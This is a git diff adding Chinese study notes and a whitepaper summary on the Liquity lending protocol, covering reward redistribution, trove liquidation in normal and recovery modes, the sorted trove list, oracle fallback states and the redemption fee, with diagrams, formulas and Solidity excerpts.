+第五步：将LUSDDebtRewardPerUnitStaked累加到L_LUSDDebt中
+第六步：从activePool中降低debt数量的债务，并在defaultPool中增加debt数量的债务
+第七步：从activePool中transfer coll数量的ETH到defaultPool中。
+```
+
+第二个方法为：applyPendingRewards
+
+```mermaid
+flowchart LR
+    id2[(active pool)]
+		id1[(default pool)]
+		id1 --pending ETH--> id2
+		id1 --pending LUSD debt--> id2
+```
+
+```jsx
+applyPendingRewards(address _borrower)
+第一步：检查调用者必须是borrowOperations合约
+第二步：调用_applyPendingRewards方法
+_applyPendingRewards(IActivePool _activePool, IDefaultPool _defaultPool, address _borrower)
+第一步：首先检查trove是否有待分配的reward
+第二步：如果该trove里面有待分配的reward，则首先要求该trove必须active
+第三步：根据trove计算pending的ETH reward和LUSD 债务reward
+第四步：给该trove的帐上加上待分配的ETH和LUSD debt
+第五步：更新该trove的reward的snapshot
+第六步：从default Pool中降低debt数量的债务，并在active pool中增加debt数量的债务
+第七步：从default Pool中transfer coll数量的ETH到active Pool中。
+```
+
+第三个方法为：hasPendingRewards
+
+作用是判断一个trove是否有待分配的reward，其思路是：L_ETH是一个全局变量，其会随着每一次redistribute都会增加。而对于单个trove，如果它applyPendingRewards，会更新它自身的snapshot。故只需要比较该trove中的snapshot的值和L_ETH的值就可以判断该trove是否还有pending的reward
+
+涉及到的公式有：
+
+$$
+Snapshot_{trove}^{ETH} < Q_t^{ETH}
+$$
+
+```jsx
+hasPendingRewards(address _borrower)
+第一步：判断该trove的状态是否是active
+第二步：拿到rewardSnapshots中该trove的ETH值，如果该ETH数值小于L_ETH，则返回true
+```
+
+第四个方法为：getPendingETHReward
+
+用于计算单个trove中，应该得到的待分配的ETH reward
+
+涉及到的公式：
+
+$$
+\begin{align*}\delta ETH_{perStake} & = Q_t^{ETH}-Snapshot_{trove}^{ETH} \\ 
+\delta ETH & = \delta ETH_{perStake} \times Stake_{trove}\end{align*}
+$$
+
+```jsx
+getPendingETHReward(address _borrower)
+第一步：首先拿到rewardSnapshots中该trove的ETH数量
+第二步：用L_ETH减去ETH得到待分配的rewardPerUnitStaked
+第三步：如果rewardPerUnitStaked == 0,或者该trove的状态不为active，则返回0
+第四步：拿到Troves中该trove对应的stake数量
+第五步：由stake数量乘以rewardPerUnitStaked得到待分配的ETH数量
+```
+
+第五个方法为：getPendingLUSDDebtReward
+
+与上面类似
+
+### Liquidation
+
+
+
+清算过程中，liquidateTrove有如下三种清算接口：
+
+1. liquidateTroves(uint _n) ⇒ 按照数量n，从左到右依次清算，最多清算n个Trove
+2. liquidate(address _borrower) ⇒ 清算某一个特定的trove
+3. batchLiquidateTroves(address[] memory _troveArray) ⇒ 批量清算某几个特定的trove
+
+针对liquidateTroves方法：
+
+```jsx
+function liquidateTroves(uint _n) external override
+第一步：拿到ETH的价格
+第二步：从稳定池中拿到LUSD的总量
+第三步：根据当前的ETH价格，判断是否需要进入恢复模式
+第四步：如果是需要进入恢复模式，则按照恢复模式定义的清算来计算所需要的LUSD清算量，预期的ETH收益，预期需要重分配的债务，预期需要重分配的ETH
+第五步：如果不需要进入恢复模式，则按照正常模式定义的清算来计算所需要的LUSD清算量，预期的ETH收益，预期需要重分配的债务，预期需要重分配的ETH
+第六步：要求经过计算后的需要清算的总的债务totalDebt>0
+第七步：调用稳定池的offset函数，传入总共需要清算的债务，总过预期获得的ETH进行清算
+第八步：调用redistributeDebtAndColl方法，将需要重分配的债务和ETH进行重分配
+第九步：如果计算中得到的totalCollSurplus>0,说明清算后剩余部分ETH在trove中，则将该collSruplus从activepool中转移到SurplusPool
+第十步：更新系统的快照
+第十一步：给清算调用者发放gas费用补偿。
+```
+
+涉及到的方法：_getTotalsFromLiquidateTrovesSequence_RecoveryMode
+
+这个方法是用来计算在恢复模式时，清算序列的一些参数
+
+```jsx
+_getTotalsFromLiquidateTrovesSequence_RecoveryMode(
+        ContractsCache memory _contractsCache,
+        uint _price,
+        uint _LUSDInStabPool,
+        uint _n
+    )
+第一步：拿到稳定池中的LUSD总量
+第二步：拿到系统中总的债务LUSD数量
+第三步：拿到系统中总的ETH数量
+第四步：从sortedTroves中拿到最左侧的trove，即最危险的一个
+第五步：从sortedTroves中拿到最右侧的trove，即最安全的一个
+第六步：进入for循环，从最危险开始依次迭代n个：
+第七步：拿到下一个trove，nextuser
+第八步：计算当前torve的ICR
+第九步：如果backToNormMode=false，则如果ICR >= MCR && 稳定池中的LUSD=0，退出循环。即恢复模式中，针对110%-150%之间的Trove，只用稳定池的资金来清算。不会拆分
+第十步：计算TCR
+第十一步：在恢复模式中，清算该trove
+第十二步：更新变量：
+				remainingLUSDInStabPool-=debtOffset;
+				entireSystemDebt -= debtOffest;
+				entireSystemColl -= (collToSendToSP+collGasCompensation+collSurPlus)
+第十三步：更新backToNormalMode的值，根据最新的entireSystemDebt和entireSystemColl来计算
+第十四步：如果backToNormalMode=true && ICR < MCR, 此时已经退出恢复模式，按照普通模式来清算该trove
+第十五步：按照普通模式清算该trove
+第十六步：更新变量：
+				remainingLUSDInStabPool-=debtOffset;
+第十七步：进入下一个trove
+```
+
+帮助方法：_getTotalsFromLiquidateTrovesSequence_NormalMode
+
+方法作用是：在普通清算模式下，进行清算。每一次清算时，都会把清算的那个trove给delete掉。
+
+```jsx
+function _getTotalsFromLiquidateTrovesSequence_NormalMode
+    (
+        IActivePool _activePool,
+        IDefaultPool _defaultPool,
+        uint _price,
+        uint _LUSDInStabPool,
+        uint _n
+    )
+第一步：拿到稳定池中的LUSD数量
+第二步：从sortedTroves中拿到最左侧的trove，即最危险的一个
+第三步：进入FOR循环，从最危险的一个开始清算
+第四步：循环体里面每次都拿到最左侧的trove
+第五步：计算该trove的ICR
+第六步：如果该ICR < MCR, 则对该trove进行清算，
+第七步：更新变量：
+			remainingLUSDInStabPool-=debtOffset;
+第八步：进入下一个trove
+```
+
+帮助方法：_liquidateNormalMode
+
+方法作用：在普通模式下，清算一个trove，会把该trove给删除掉
+
+```jsx
+function _liquidateNormalMode(
+        IActivePool _activePool,
+        IDefaultPool _defaultPool,
+        address _borrower,
+        uint _LUSDInStabPool
+    )
+第一步：拿到该trove所有的debt，coll和pending debt和pending coll。
+第二步：把该trove对应的pending的debt和coll转移到active Pool中
+第三步：移除该trove的stake，即清空stake账本上该trove的值为0
+第四步：计算给到清算人的ETH奖励0.5%和LUSD gas奖励
+第五步：扣除掉0.5%后计算要清算的LUSD数量，预期收益的ETH数量，需要redistribute的ETH数量，需要redistribute的LUSD数量
+第六步：调用_closeTrove方法，偿还债务，获取ETH，关闭该torve。
+```
+
+帮助方法：_getOffsetAndRedistributionVals
+
+方法作用是：再一次full liquidation中，计算需要清算的LUSD数量，预期收益的ETH数量，需要redistribute的ETH数量，需要redistribute的LUSD数量
+
+涉及的数学公式为：
+
+$$
+\begin{align*}
+debt_{offset} & = min(debt,LUSD_{sp})\\
+coll_{sp} & = coll \times \frac{debt_{offset}}{debt}\\
+debt_{distribute} & = debt-debt_{offset}\\
+coll_{distribute} &= coll-coll_{sp}
+\end{align*}
+$$
+
+```jsx
+function _getOffsetAndRedistributionVals
+    (
+        uint _debt,
+        uint _coll,
+        uint _LUSDInStabPool
+    )
+第一步：首先判断稳定池中是否有LUSD，只要稳定池还有LUSD，就执行如下计算：
+第二步：根据稳定池中的LUSD数量和此次需要清算的LUSD债务，求出一个最小值，作为实际需要清算的LUSD数量
+第三步：按照比例算出实际清算获利的ETH数量
+第四步：将剩余的债务作为重分配的债务，剩余的ETH作为重分配的ETH
+第五步：如果稳定池此时没有LUSD，则所有的债务都作为重分配债务，所有的ETH都作为重分配的ETH
+```
+
+帮助方法：_liquidateRecoveryMode
+
+方法作用是：在恢复模式中去清算一个trove
+
+```mermaid
+flowchart TD
+    A[ICR] --> B{ICR <= 100%};
+    B -->|Yes| C[redistribute];
+    B -->|No| D{100% < ICR < MCR};
+		D --> |yes| F[offset & redistribute]
+		D --> |No| J{MCR <= ICR < TCR & debt < LUSDsp}
+		J --> |yes| K[offset]
+		J --> |No| I[do nothing]
+		C --> C1[applyPendingReward]
+		C1 --> C2[removeStake]
+		C2 --> C3[debtToRedistribute=entireTroveDebt]
+		C3-->C4[collToRedistribute=collToLiquidate]
+		C4 --> C5[collToSP=0]
+		C5-->C6[debtOffset=0]
+		C6 --> closeTrove
+		F --> F1[applyPendingReward]
+		F1 --> F2[removeStake]
+		F2 --> F3[debtOffset=min_debt_LUSDsp]
+		F3 --> F4[debtToRedistribute=entireTroveDebt-debtOffset]
+		F4-->F5[collToSP=debtOffset/_debt*_Coll]
+		F5-->F6[collToRedistribute=_Coll-collToSP]
+		F6--> closeTrove
+		K --> K1[applyPendingReward]
+		K1 --> K2[removeStake]
+		K2 --> K3[cappedColl=entireDebt*MCR/price]
+		K3 --> K4[collToSP=cappedColl-0.5%gas]
+		K4 --> K5[debtOffset=entireDebt]
+		K5 --> K6[collSurPlus=coll-cappedColl]
+		K6 --> K7[debtRedistribute=0]
+		K7 --> K8[collRedistribute=0]
+		K8 --> closeTrove
+```
+
+```jsx
+function _liquidateRecoveryMode(
+        IActivePool _activePool,
+        IDefaultPool _defaultPool,
+        address _borrower,
+        uint _ICR,
+        uint _LUSDInStabPool,
+        uint _TCR,
+        uint _price
+    )
+第一步：判断是否是最后一个trove，如果是最后一个trove，则不进行清算 :(最后一个也没法去清算了
+第二步：拿到该trove对应的总的Coll，debt，和系统中的pending coll，pending debt
+第三步：计算给到清算人的ETH奖励0.5%和LUSD gas奖励
+第四步：扣除掉0.5%后计算要清算的LUSD数量，预期收益的ETH数量
+第五步：按照如下三种情况进行分别处理：
+ICR<100% => redistribute;
+	1：把该trove对应的pending coll和pending debt移动到active pool中，实际上相当于执行applyPendingRewards，只是由于后面这个trove需要被close，故就不执行update操作
+	2：移除该trove的stake
+	3：将该trove的所有债务和剩余ETH数量返回给上层等待分配
+	4：closeTrove中做的事情是：与BorrowOperation中不同的是，
+			这里的closeTrove只将Troves中和rewardSnapshot中关于该trove的记账全部归0.
+			并从sortedTrove链表里移除该Trove
+ICR>100 && ICR < MCR => offset as much as possible, redistribute the remainder
+	1：把该trove对应的pending coll和pending debt移动到active pool中，实际上相当于执行applyPendingRewards，只是由于后面这个trove需要被close，故就不执行update操作
+	2: 移除该trove的stake
+	3: 返回需要offset的debt和offse对应的ETH数量，需要redistribute的debt和ETH数量
+	4: closeTrove：这里的closeTrove只将Troves中和rewardSnapshot中关于该trove的记账全部归0.
+			并从sortedTrove链表里移除该Trove
+ICR>=MCR && ICR <TCR && debt < LUSD_stable  稳定池中的LUSD足以覆盖该Trove的全部债务
+	1：把该trove对应的pending coll和pending debt移动到active pool中，实际上相当于执行applyPendingRewards，只是由于后面这个trove需要被close，故就不执行update操作
+	2: 要求稳定池中的LUSD数量大于0
+	3：移除该trove的stake
+	4: 按照最大清算比例MCR来计算需要返回给稳定池的ETH数量，这个数量也需要减去0.5%gas。
+			需要offset的debt就是这个池子的最大债务，计算超出MCR部分的ETH数量。
+			返回redistribute的数量为0
+
+ICR>=MCR && (ICR >=TCR || debt > LUSD_stable) 稳定池中的债务不足以覆盖该Trove的全部债务
+	1： 返回空值，即跳过该trove，不清算。
+
+```
+
+### 链表插入删除
+
+
+
+作为一个双向有序链表，其为NICR从大到小排序，其数据结构的设计为：
+
+```jsx
+struct Data {
+	address head; //head of list
+	address tail; //tail of list
+	uint256 maxSize; //max size of list
+	uint256 size; //curr size of list
+	mapping(address=>Node) nodes; //id->Node
+}
+struct Node {
+	bool exists; 
+	address nextId; //next id
+	address prevId; //prev id
+}
+Data public data;
+```
+
+在如上的数据结构中，并没有保存NICR这一个排序的依据。原因是NICR会随着清算或者用户的borrow，adjust而改变。该链表的顺序就只依赖于调用方保持有序。
+
+核心方法：
+
+validInsertPosition
+
+确认插入位置有效
+
+```jsx
+_validInsertPosition(ITroveManager _troveManager, uint256 _NICR, address _prevId, address _nextId)
+第一步：如果prevId=0&nextId=0,则检查该链表是否为空，要求聊表必须为空
+第二步：如果prevId=0,则检查nextId必须是链表头，且该Node的NICR必须大于等于nextId对应的NICR
+第三步：如果nextId=0，则检查prevId必须是链表尾，且该Node的NICR必须小于等于prevId对应的NICR
+第四步：如果prevId和nextId都不为空，则要求prevId.nextId=nextId,即两个node紧密相连，且插入的Next.NICR<=NICR<=Prev.NICR, 
+```
+
+findInserPosition
+
+给定NICR的情况下找到插入位点
+
+```jsx
+_findInsertPosition(ITroveManager _troveManager, uint256 _NICR, address _prevId, address _nextId)
+第一步：如果给定的prevId hint不为空，则如果prevId现在不存在了，或者prevId的NICR比插入的NICR小，
+说明prevId数据失真，则设定prevId=0
+第二步：如果给定的nextId hint不为空，则如果nextId现在不存在了，或者nextId的NICR比插入的NICR大
+则说明nextId数据失真，则设定nextId=0
+第三步：如果prevId=0&&nextId=0，则有序链表从头到尾，以链表头为出发点依次查找。O(n)
+第四步：如果prevId=0&&nextId!=0,则有序链表从尾到头，以nextId为出发点开始查找。O(n/2)
+第五步：如果prevId!=0&&nextId=0,则有序链表从头到尾，以prevId为出发点开始查找。
+第六步：如果prevId!=0&&nextId!=0,则有序链表从头到尾，以prevId为出发点开始查找。
+```
+
+### oracle Price feed
+
+
+
+liquity里面的价格预言机主要来自chainLink，另外使用了Tellor作为备用。
+
+整体的设计思路是：根据上次获取到的价格，确定预言机当前的状态。共分为如下五个状态：
+
+```jsx
+enum Status {
+        chainlinkWorking, 
+        usingTellorChainlinkUntrusted, 
+        bothOraclesUntrusted,
+        usingTellorChainlinkFrozen, 
+        usingChainlinkTellorUntrusted
+    }
+```
+
+然后再分别拉取chainLink和tellor的ETH/USD 的价格，并对拉取到的价格进行评价，根据当前状态的不同，进行不同的处理。
+
+针对chainlink，需要进行的处理有：
+
+1. 拉取到当前时刻的ETH/USD的价格 chainlinkResponse
+2. 拉取到上一轮中ETH/USD的价格 preChainlinkResponse
+3. 同时检查这一轮和上一轮中的/USD价格response，判断response有无损坏，从而判断chainlink是否broken
+4. 检查这一轮的ETH/USD价格中的时间戳与当前的时间戳，看是否超过阈值 4h，判断chainlink是否frozen
+5. 比较两轮chainlink的报价，看其差值占最值的比例是否超过阈值 50%，判断chainlink报价是否正常
+
+而针对Tellor，需要进行的处理有：
+
+1. 拉取到当前时刻的ETH/USD的价格
+2. 判断ETH/USD的返回值是否broken，从而判断tellor是否broken
+3. 判断ETH/USD的报价返回值中的时间戳与当前时间戳，看是否超过阈值 4h，从而判断Tellor是否frozen
+
+针对chainLink和Tellor的报价都可信时，需要比较两家报价的差异，即两家报价的差值占最值的比例不能超过阈值，5%。
+
+针对状态1: chainlinkWorking
+
+```mermaid
+flowchart TB
+    subgraph chainlinkWorking
+		A[staus]
+		A --> B{isChainLinkBroken}
+		B --> |Yes| C{isTellorBorken}
+		C --> |Yes| D[bothOraclesUntrusted] 
+		D --> lastGoodPrice
+		C --> |No| E{isTellorFrozen}
+		E --> |Yes| F[usingTellorChainlinkUntrusted]
+	  F --> lastGoodPrice
+		E --> |No| tellerPrice
+    B --> |No| C2{isChainlinkFrozen}
+		C2 --> |Yes| C
+    C2 --> |No| D2{isChainlinkPriceAboveMax}
+		D2 --> |Yes| C3{isTellorWorking}
+		C3 --> |No| lastGoodPrice
+		C3 --> |Yes| D3{similarPrice}
+		D3 --> |Yes| chainLinkPrice
+		D3 --> |No| tellerPrice		
+		D2 --> |No| C4{isTellorBroken}
+		C4 --> |Yes| D4[usingChainlinkTellorUntrusted]
+		D4 --> chainLinkPrice
+		C4 --> |No| chainLinkPrice
+    end
+    
+```
+
+针对状态2: usingTellorChainlinkUntrusted
+
+```mermaid
+flowchart TB
+    subgraph usingTellorChainlinkUntrusted
+		status --> B{bothLive&UnBroken&SimilarPrice}
+		B --> |Yes| C[chainlinkWorking]
+		C --> chainlinkPrice
+		B --> |No| D{isTellorBroken}
+		D --> |yes| E[bothOraclesUntrusted]
+		E --> lastGoodPrice
+		D --> |No| tellorPrice
+		
+    end
+    
+```
+
+针对状态3: bothOraclesUntrusted
+
+```mermaid
+flowchart TB
+    subgraph usingTellorChainlinkUntrusted
+		status --> B{bothLive&UnBroken&SimilarPrice}
+		B --> |Yes| C[chainlinkWorking]
+		C --> chainlinkPrice
+		B --> |No| lastGoodPrice
+		
+    end
+```
+
+针对状态4: usingTellorChainlinkFrozen
+```mermaid
+flowchart TB
+    subgraph usingTellorChainlinkUntrusted
+		status --> B{isChainlinkBroken}
+		B --> |Yes| C{isTellorBorken}
+		C --> |yes| D[bothOraclesUntrusted]
+		D --> lastGoodPrice
+    C --> |No| D2[usingTellorChainlinkUntrusted]
+		D2 --> E{isTellorFrozen}
+		E --> |Yes| lastGoodPrice
+		E --> |No| tellorPrice
+    B --> |No| C2{isChainlinkFrozen}
+		C2 --> |Yes|D3{isTellorBroken}
+		D3 --> |Yes|E3[usingChainlinkTellorUntrusted]
+		E3 --> lastGoodPrice
+    D3 --> |No| E4{isTellorFrozen} 
+		
+    end
+```
diff --git "a/defi/Liquity/whitepaper/Liquity\347\231\275\347\232\256\344\271\246\346\246\202\350\277\260.md" "b/defi/Liquity/whitepaper/Liquity\347\231\275\347\232\256\344\271\246\346\246\202\350\277\260.md"
new file mode 100644
index 000000000..c4e123a67
--- /dev/null
+++ "b/defi/Liquity/whitepaper/Liquity\347\231\275\347\232\256\344\271\246\346\246\202\350\277\260.md"
@@ -0,0 +1,409 @@
+## 0. 摘要
+
+Liquity 是一种去中心化的借贷协议，只用 ETH 作抵押提取无息贷款。
+每个用户需通过链上合约创建一个单独的“金库(Trove)”来实现借贷。贷款以 LUSD 的形式支付，并要求 110%的最低抵押率。LUSD 是一种与美元锚定的稳定币，LUSD 的持有人可以在任何时刻以美元计价来赎回等值 ETH。
+除了用户的抵押外，Liquity 的贷款还由一个 LUETH 稳定池和所有借款人集体作为最后担保人提供担保，同时还有算法来保障 LUSD 和美元的锚定。
+Liquity 协议是彻底的去中心化协议，它不可改变，也无需治理，ETH 也是去中心化的。
+
+## 1. 市场概述
+
+稳定币是市场刚需。
+当前稳定币的缺点:
+
+-   当前是抵押类稳定币的都是有息借贷，利息超过 20.5% p.a
+-   治理机制的引入导致协议费用居高不下
+-   无有效清算机制导致抵押率偏高
+-   而算法稳定币却无法保证实时赎回。
+
+### 1.1 清算流程：
+
+Liquity 按优先级别排序的三重清算方案：
+
+-   稳定池  
+    稳定池属于优先级别最高，即抵押借贷的用户需开启 Trove 提供高于 110% 的抵押品可发行 100% 的 LUSD。而一旦用户抵押品 ETH 价值低于 110% 会被触发清算，此时充斥着 LUSD 的稳定池即会发挥作用，稳定池会销毁对应量的 LUSD 而获得相对应的抵押品 ETH，因为只要低于 110% 即会被清算而 110%>100%，相当于稳定池会获得 10% 折扣的 ETH。
+-   债务再分配  
+    第二阶段债务再分配，可理解为稳定池 LUSD 不足的情况下的 Plan B。假如稳定池里 LUSD 数量不足以覆盖系统债务，则会触发债务再分配，简单来讲就是把被清算的债务分配到抵押率较充足的 Trove 持有者头上。
+-   Recovery Mode （复原模式）  
+    系统存在一个关键抵押率 =150%，当系统的总抵押率不足 150% 时，则会触发 Recovery Mode，此时，系统会依据抵押率由低到高，不管你的抵押率是否大于 110%，只要低于 150% 就有可能被清算，直到系统总抵押率为 150% 为止。针对 Trove 来说，不会有额外的损失，也就是说如果你的抵押率为 140% 被触发清算，你的 Trove 会被关闭，110% 抵押品被清算，30% 的抵押品则依旧 Claimable，因此该 Trove 的净损失已然为 10%，但对系统来说减少了很多有风险的 Trove 从而提升了系统总抵押率。
+
+### 1.2 LUSD 价格稳定：硬锚定+软锚定
+
+Liquity 的抵押品可赎回，且 1 枚 LUSD 可始终保持可赎回价值 1 美金的 ETH。此谓「硬锚定」， 任何时候都可以按面值赎回 eth.
+
+-   如果 LUSD 溢价，LUSD>1.1 的情况几乎不可能发生，因为假如高于 1.1，由于抵押率 110%，套利者可瞬时套利。而高于 1 美金，由于铸造成本为 1 美金，则可铸造出成本 1 美金的 LUSD 以高于 1 美金的价格卖出，折价同理。
+-   软锚定是基于硬锚定而产生的对 LUSD 稳定于 1USD 的长期愿景借此影响人们对 LUSD 未来价格走势的预期从而作出的决定（1LUSD=1U 的谢林点）。 低于 1 美元时，仍然可以按 1 美元价格赎回 eth。 ？有没有 eth 下跌更快的情况？
+    也就是说 1 美金以下会激励还款，1 美金以上会激励借款达成套利。
+
+## 2. Liquity 协议的优点:
+
+-   利率为 0％——作为借款人，您无需担心不断产生新的债务。
+-   110％的最低抵押率——更有效地利用储蓄的 ETH。
+-   无治理——所有操作都是算法化的和自动化的，并且在协议部署时就已经设置好了协议参数。
+-   可直接赎回——LUSD 可以随时按面值赎回相关抵押品。
+-   完全去中心化——Liquity 协议没有管理密钥，并且可以通过由不同前端运营商提供的多个接口进行访问，从而使其不受审查。
+
+## 3. 系统功能
+
+[合约代码位置](https://github.com/liquity/dev/tree/main/packages/contracts)
+
+[trailofbits 审计报告](https://github.com/trailofbits/publications/blob/master/reviews/Liquity.pdf)
+
+<!-- ![img](pics/trailofbits_audit.png) -->
+
+#### 3.1 借贷
+
+---
+
+Liquity 协议收取一次性借入和赎回费用。这一费用会根据最近的赎回时间在算法上进行调整。例如：如果近期发生更多的赎回（这意味着 LUSD 的交易价格可能低于 1 美元），则借贷费用将增加，从而阻碍借贷。
+
+Core Code: packages/contracts/contracts/BorrowerOperations.sol
+
+-   创建金库(Trove):
+
+    > 一个借贷人的钱包地址(EOA)和一个金库唯一绑定
+    > Code: packages/contracts/contracts/BorrowerOperations.sol
+
+    ```ts
+       function openTrove(uint _maxFeePercentage, uint _LUSDAmount, address _upperHint, address _lowerHint) external payable override{
+           // 将借贷费用作为加入借贷总额中，偿还债务时一并归还
+            if (!isRecoveryMode) {
+            vars.LUSDFee = _triggerBorrowingFee(contractsCache.troveManager, contractsCache.lusdToken, _LUSDAmount, _maxFeePercentage);
+            vars.netDebt = vars.netDebt.add(vars.LUSDFee);
+        }
+           // 加入$200的被清算时gas补偿(LUSD_GAS_COMPENSATION)，这笔钱会计入债务，却打到GasPool池子里
+           vars.compositeDebt = _getCompositeDebt(vars.netDebt);
+           // 生成新的金库(Trove)节点
+           sortedTroves.insert(msg.sender, vars.NICR, _upperHint, _lowerHint);
+
+           emit TroveCreated(msg.sender, vars.arrayIndex);
+
+       }
+    ```
+
+    > Code: packages/contracts/contracts/SortedTroves.sol
+
+    ```ts
+        function insert (address _id, uint256 _NICR, address _prevId, address _nextId) external override {
+        ITroveManager troveManagerCached = troveManager;
+
+        _requireCallerIsBOorTroveM(troveManagerCached);
+        _insert(troveManagerCached, _id, _NICR, _prevId, _nextId);
+    }
+    ```
+
+    > Code: packages/contracts/contracts/TroveManager.sol
+
+    ```ts
+        function addTroveOwnerToArray(address _borrower) external override returns (uint index) {
+        _requireCallerIsBorrowerOperations();
+        return _addTroveOwnerToArray(_borrower);
+    }
+    ```
+
+-   添加抵押品(ETH):
+    ```ts
+    function addColl(address _upperHint, address _lowerHint) external payable{}
+    ```
+-   提取 LUSD:
+
+    > 可以提取一定数量的 LUSD 使您的抵押率不低于 110%(Minimum Collateral Ratio (MCR))
+
+    > 最低债务为 2,000 LUSD，避免坏账
+
+    > 此时会收取一次性手续费(5% >= base rate + 0.5% >= 0.5%)，这笔费用直接添加到用户债务中，在结清 closTrove 时支付；
+
+    > 200 LUSD 的清算准备金(偿还债务后准备金会退还)
+    > Code: packages/contracts/contracts/Dependencies/LiquityBase.sol
+
+    ```ts
+    vars.compositeDebt = _getCompositeDebt(vars.netDebt);
+    ```
+
+    ```ts
+    function withdrawLUSD(uint _maxFee, uint _amount, address _upperHint, address _lowerHint) external;
+    ```
+
+-   偿还 LUSD 债务:
+    > 目的是降低抵押率
+    ```ts
+    function repayLUSD(uint _amount, address _upperHint, address _lowerHint) external;
+    ```
+-   关闭金库，结清债务(总借出的 LUSD 再, $200, 加上一次性手续费):
+    ```ts
+    function closeTrove() external {};
+    ```
+
+#### 3.2 稳定池(Stability Pool)
+
+---
+
+目的: 保持系统偿付能力的第一道防线
+Core Code: packages/contracts/contracts/StabilityPool.sol
+
+-   存入 LUSD: 拥有者通过某一前端(\_frontEndTag)把 LUSD 存到池子里
+    > Code: packages/contracts/contracts/StabilityPool.sol
+    ```ts
+    function provideToSP(uint _amount, address _frontEndTag) external override;
+    ```
+-   清算金库: 池中 LUSD 将被用于清算金库（抵押率低于 110%的金库）
+    > Code: packages/contracts/contracts/TroveManager.sol
+    ```ts
+    function batchLiquidateTroves(address[] memory _troveArray) public override {
+        // 这里判断是否可以清算以及金库的清算顺序
+        if (vars.recoveryModeAtStart) {
+            totals = _getTotalFromBatchLiquidate_RecoveryMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);
+        } else {  //  if !vars.recoveryModeAtStart
+            totals = _getTotalsFromBatchLiquidate_NormalMode(activePoolCached, defaultPoolCached, vars.price, vars.LUSDInStabPool, _troveArray);
+        }
+    }
+    ```
+-   清算结果: 被清算金库的 LUSD 会被销毁(burn)，对应的 ETH 会被返回 Stability Pool 里，然后按(LUSD 提供的)比例分配给 LUSD 的提供者
+
+-   Liquity 提供者激励：清算时低折扣购入 ETH，持续获得 LQTY
+
+-   提供者可以随时把 LUSD 撤出，除非当前系统存在待清算的金库
+    > Code: packages/contracts/contracts/StabilityPool.sol
+    ```ts
+    function withdrawFromSP(uint _amount) external override;
+    ```
+-   LQTY 介绍:
+
+    1. LQTY 的权益
+
+    -   LQTY 持有者可以质押他们的代币来赚取贷款发行和 LUSD 赎回时产生的费用
+
+    2. 三个渠道获取:
+
+    -   将 LUSD 存入稳定池。
+    -   通过您的前端促成稳定池存款。
+    -   为 LUSD:ETH Uniswap 池提供流动性
+
+    3. 释放方式:
+
+    -   创世分配
+    -   社区分配: 按时间释放 32,000,000\*(1–0.5^year)
+
+    3. 用户提供 LUSD，撤出 LUSD，提取 ETH 和 池子清算会发生(\_triggerLQTYIssuance)
+        > Code: packages/contracts/contracts/StabilityPool.sol
+
+    ```ts
+    function _triggerLQTYIssuance(ICommunityIssuance _communityIssuance) internal {
+        uint LQTYIssuance = _communityIssuance.issueLQTY();
+       _updateG(LQTYIssuance);
+    }
+    ```
+
+    4. 支持 EIP 2612, 可以进行离线签
+        > Code: packages/contracts/contracts/LQTY/LQTYToken.sol
+
+    ```ts
+        function permit
+    (
+        address owner,
+        address spender,
+        uint amount,
+        uint deadline,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    )
+        external
+        override
+    ```
+
+#### 3.3 赎回机制(Redemption mechanism)
+
+---
+
+目的: [增强系统稳定性(1LUSD = 1$)](https://www.coingecko.com/en/coins/liquity-usd)
+
+Core Code: packages/contracts/contracts/TroveManager.sol
+
+-   赎回原理:
+
+    -   LUSD 可以随时基于当前从 Chainlink 预言机获取的 ETH:USD 价格(Face Price)， LUSD 面值(Face Price)和基础费率(base rate)，直接兑换 ETH。除非系统处于 Total Collateral Ratio(TCR)低于 150%的复原模式。
+
+-   当前基础费率(base rate)计算方法:通过两步获得
+
+    1. 基础费率(base rate)随时衰减, 计算公式为:
+       b(t) := b(t−1) × δ^△t
+       δ: 衰减因子(半衰期为 12 小时), △t: 上一次赎回或者 inssuarance 发生到现在的的时间间隔,
+    2. 基础费率(base rate)随每次赎回会增加，计算公式为:
+       b(t):=b(t−1)+α×(m/n)  
+       b(t): 当前时间的费率, b(t-1): 上一次赎回发生时的费率, α: 0.5, m: 待兑 LUSD 数量, n: 当前 LUSD 总供应量.
+
+-   套利过程： 以低于 1$购入 LUSD，再用 LUSD 赎回 ETH
+
+    -   背景:当前 LUSD 价格为$0.95, 当前基础费率为 1.4%. 套利者准备赎回 150,000 LUSD，当前总 LUSD 供应量为 1000 万. 上一次赎回是 2 小时 前，中间无新的流动性被添加(issued ?)。 δ 衰减因子为 0.94.
+
+    -   首先: 按照衰减公式计算: b(t):=b(t−1)×δ^△t =0.014×0.94^2 =0.01237
+
+    -   其次: 按照赎回公式算: b(t):=b(t−1)+0.5×m=0.01237+0.5× 150000/10000000 =0.01987
+
+    -   再次：套利者获得价值 147,019.44 USD [ = 150, 000 × (1 − 0.01987)] 的 ETH
+
+    -   最后: 因为按照当前 LUSD 价格，150,000 LUSD = 142,500 USD, 所以套利者净利润为: $4,519.44
+
+-   赎回对象: 为系统判定的风险最高金库(即使 ICR>110%)
+
+    > Code: packages/contracts/contracts/TroveManager.sol
+
+        ```ts
+            function redeemCollateral(
+                uint _LUSDamount,
+                address _firstRedemptionHint,
+                address _upperPartialRedemptionHint,
+                address _lowerPartialRedemptionHint,
+                uint _partialRedemptionHintNICR,
+                uint _maxIterations,
+                uint _maxFeePercentage
+            )
+                external
+                override {
+            //搜索优先清算金库(Rickiest)
+            if (_maxIterations == 0) { _maxIterations = uint(-1); }
+            while(currentBorrower != address(0) && totals.remainingLUSD > 0 && _maxIterations > 0){}
+            // 计算基础费率
+            _updateBaseRateFromRedemption(totals.totalETHDrawn, totals.price, totals.totalLUSDSupplyAtStart);
+
+            // 把赎回费打入LQTY矿池
+            contractsCache.lqtyStaking.increaseF_ETH(totals.ETHFee);
+            }
+        ```
+
+-   价格预言机
+    1. 主力：[chainlink ETH:USD](https://feeds.chain.link/eth-usd)
+    2. 备用: [Tellor ETH:USD 预言机](https://www.tellor.io/)
+
+## 4. 金库清算机制(Trove liquidation mechanism)
+
+---
+
+目的: 保持偿付能力， 第二道防线
+Core Code: packages/contracts/contracts/TroveManager.sol
+
+-   清算对象: 任何抵押率低于 110%的金库
+-   清算者: 任何人均可发起清算，清算者将获得交易费补偿（200 LUSD + Trove 抵押品 ETH 的 0.5%）作为这项服务的奖励。
+-   清算优先级:
+    1. 稳定池清算
+    2. 金库余下债务，在活跃金库之间基于 ETH 数量进行重新分配
+
